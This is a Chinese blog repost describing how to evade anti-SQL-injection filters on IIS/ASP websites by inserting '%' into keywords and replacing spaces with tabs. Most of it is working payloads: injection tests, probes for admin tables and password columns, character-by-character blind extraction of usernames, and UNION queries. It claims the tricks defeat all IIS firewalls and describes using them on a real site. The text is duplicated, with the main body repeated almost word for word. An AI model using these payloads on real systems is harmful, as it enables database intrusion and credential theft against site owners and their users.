防注入绕过方法
其实没什么,
关键字绕过:在被限制的关键字中加入%
空格绕过:用tab代替(%09)
先来说URL编码,%加两位的16进制表示一个字符,比如’经过编码之后就是%27,这是人人都知道的URL编码规则,UrlUnescapeInPlace之类的API函数甚至于程序员自己写的URL译码函数都是基于这一思想。
然而,我们何必如此听话,试想一下要是%后跟的不是16进制数字而是像abc%hh会发生什么事呢。先看UrlUnescapeInPlace,
写个小程序试一下,abc%hh经过译码还是abc%hh;再看asp.dll是怎么译码的,在asp页面中写入 response.Write(request.QueryString("str")),然后用?str=abc%hh访问它,页面显示abchh,它直接把%给去掉了。
现在来思考要是我们提交sele%ct,信息监控系统得到的字符串还是sele%ct,当然它不是危险字符,它就不会拦截,但对于ASP,它得到的可就是select了,其它的同理,’可用%’表示,比如and exists(select * from admin)可转化为以下字符串a%nd ex%ists(%select * %from ad%min)。此方法可举一反三,比如用%%代替%都可以,还可以是其它的,具体的可以去看RFC2396。
以上仅是对于GET方式的分析,POST没试过,不过猜想也是可以的。并且经测试以上方法对目前的所有IIS防火墙都有效,包括VIF。
补充:其实发现这个漏洞已经有好些日子了,本来我是不想公开的,前些天两次给一流信息监控的人发邮件提醒他们,但他们就是没认真考虑我说的问题,还说一流信息系统可以把经过编码的注入字符也加到过滤清单中,不知道他们是怎么想的,他是觉得再加一条sele%ect过滤规则就可以了?那sele%%ct呢,也加上?那sele%%%ct呢??鉴于一流这种无所谓的态度我就公开此漏洞,希望他们能以此为鉴。
利用语句如下:
a%nd 1=1
就是 and 1=1 的意思 返回正常
a%nd 1=2 and 1=2
返回错误 说明存在注入
a%nd ex%ists(%select * %from ad%min) 或者 a%nd (%select count(*) from ad%min)>0
查询是否存在ADMIN这个表名 返回正确 说明存在ADMIN这个表名
and exists (select top 1 [admin] from [admin])
a%nd ex%ists(%select top 1 [ad%min] from [ad%min])
查询ADMIN表里是否存在ADMIN这个字段 正确说明存在
and exists (select top 1 [UserPassword from [admin])
a%nd ex%ists(%select top 1 [UserPassword] from [ad%min])
查询ADMIN表里是否存在UserPassword这个字段 正确说明存在UserPassword这个字段
and (select top 1 len(admin) from admin)>N
a%nd (%select top 1 len(ad%min) from ad%min)>N
查询字段长度 如果>5返回错误页面,>4返回正常页面,则证明字段为5 证明ADMIN这个字段为5
and (select top 1 asc(mid(列名,N,1)) from 表名)>N //前面的N代表当前猜解第几位数据,后面的N代表ASCII码,英文和数字的ASCII码在1-128之间
a%nd (%select top 1 asc(mid(admin,N,1)) from admin)>N
a 是97 返回正确 第一个是a d是99 依次类推 最后可以得到用户名为admin 下面是联合查询的语句 因为这个网站不支持联合查询 所以就不演示了
联合查询语句:
order by 12
o%rder by 12
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin
a%nd 1=2 union %select 1,2,3,4,5,6,7,8,9,10,11,12 from ad%min
上回***一站点,SQL Injection测试时返回这个页面(图1)
![防注入绕过方法 防注入绕过方法](/default/index/img?u=aHR0cHM6Ly9waWFuc2hlbi5jb20vaW1hZ2VzLzY5OS9iMTBiMzM0MjZhNzJmYTlhYmYzNTM2OTc2ZTNjZjkxYi5KUEVH)
经过几回合测试,我发现那个软件是拦截独立的关键词,也就是拦截字符串“and”,而不会拦截包含“and”的字符串如“island”。提交http://xxx/x.asp?x=island 1=2时没问题,而提交http://xxx/x.asp?x=a and 1=1时就被拦截了。
呵呵,明白了吧,实际上程序要判别到底是不是完全匹配真正拦截的字符串是空格+关键词+空格(本例中就是“and ”)。如果用ASP代码表示的话就是:
If Instr(1 , StrQuest , “ and “ , 1) Then
Response.Write( “一些废话” )
Response.End
End If
拦截原理搞懂了,问题是怎么突破呢?往下看。
关键字是要注射要用到的,乱动不得,就只有从空格入手了。呵呵,想想什么东东可以代替空格啊,对,就是Tab!现在我修改URL用tab代替and前后的两个空格,呵呵,看看图2吧(Tab -->“%09”,空格 -->“%20”)。
关键字绕过:在被限制的关键字中加入%
空格绕过:用tab代替(%09)
先来说URL编码,%加两位的16进制表示一个字符,比如’经过编码之后就是%27,这是人人都知道的URL编码规则,UrlUnescapeInPlace之类的API函数甚至于程序员自己写的URL译码函数都是基于这一思想。
然而,我们何必如此听话,试想一下要是%后跟的不是16进制数字而是像abc%hh会发生什么事呢。先看UrlUnescapeInPlace,
写个小程序试一下,abc%hh经过译码还是abc%hh;再看asp.dll是怎么译码的,在asp页面中写入 response.Write(request.QueryString("str")),然后用?str=abc%hh访问它,页面显示abchh,它直接把%给去掉了。
现在来思考要是我们提交sele%ct,信息监控系统得到的字符串还是sele%ct,当然它不是危险字符,它就不会拦截,但对于ASP,它得到的可就是select了,其它的同理,’可用%’表示,比如and exists(select * from admin)可转化为以下字符串a%nd ex%ists(%select * %from ad%min)。此方法可举一反三,比如用%%代替%都可以,还可以是其它的,具体的可以去看RFC2396。
以上仅是对于GET方式的分析,POST没试过,不过猜想也是可以的。并且经测试以上方法对目前的所有IIS防火墙都有效,包括VIF。
补充:其实发现这个漏洞已经有好些日子了,本来我是不想公开的,前些天两次给一流信息监控的人发邮件提醒他们,但他们就是没认真考虑我说的问题,还说一流信息系统可以把经过编码的注入字符也加到过滤清单中,不知道他们是怎么想的,他是觉得再加一条sele%ect过滤规则就可以了?那sele%%ct呢,也加上?那sele%%%ct呢??鉴于一流这种无所谓的态度我就公开此漏洞,希望他们能以此为鉴。
利用语句如下:
a%nd 1=1
就是 and 1=1 的意思 返回正常
a%nd 1=2 and 1=2
返回错误 说明存在注入
a%nd ex%ists(%select * %from ad%min) 或者 a%nd (%select count(*) from ad%min)>0
查询是否存在ADMIN这个表名 返回正确 说明存在ADMIN这个表名
and exists (select top 1 [admin] from [admin])
a%nd ex%ists(%select top 1 [ad%min] from [ad%min])
查询ADMIN表里是否存在ADMIN这个字段 正确说明存在
and exists (select top 1 [UserPassword from [admin])
a%nd ex%ists(%select top 1 [UserPassword] from [ad%min])
查询ADMIN表里是否存在UserPassword这个字段 正确说明存在UserPassword这个字段
and (select top 1 len(admin) from admin)>N
a%nd (%select top 1 len(ad%min) from ad%min)>N
查询字段长度 如果>5返回错误页面,>4返回正常页面,则证明字段为5 证明ADMIN这个字段为5
and (select top 1 asc(mid(列名,N,1)) from 表名)>N //前面的N代表当前猜解第几位数据,后面的N代表ASCII码,英文和数字的ASCII码在1-128之间
a%nd (%select top 1 asc(mid(admin,N,1)) from admin)>N
a 是97 返回正确 第一个是a d是99 依次类推 最后可以得到用户名为admin 下面是联合查询的语句 因为这个网站不支持联合查询 所以就不演示了
联合查询语句:
order by 12
o%rder by 12
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin
a%nd 1=2 union %select 1,2,3,4,5,6,7,8,9,10,11,12 from ad%min
上回***一站点,SQL Injection测试时返回这个页面(图1)
经过几回合测试,我发现那个软件是拦截独立的关键词,也就是拦截字符串“and”,而不会拦截包含“and”的字符串如“island”。提交http://xxx/x.asp?x=island 1=2时没问题,而提交http://xxx/x.asp?x=a and 1=1时就被拦截了。
呵呵,明白了吧,实际上程序要判别到底是不是完全匹配真正拦截的字符串是空格+关键词+空格(本例中就是“and ”)。如果用ASP代码表示的话就是:
If Instr(1 , StrQuest , “ and “ , 1) Then
Response.Write( “一些废话” )
Response.End
End If
拦截原理搞懂了,问题是怎么突破呢?往下看。
关键字是要注射要用到的,乱动不得,就只有从空格入手了。呵呵,想想什么东东可以代替空格啊,对,就是Tab!现在我修改URL用tab代替and前后的两个空格,呵呵,看看图2吧(Tab -->“%09”,空格 -->“%20”)。
转载于:https://blog.51cto.com/foreverzpk/1394644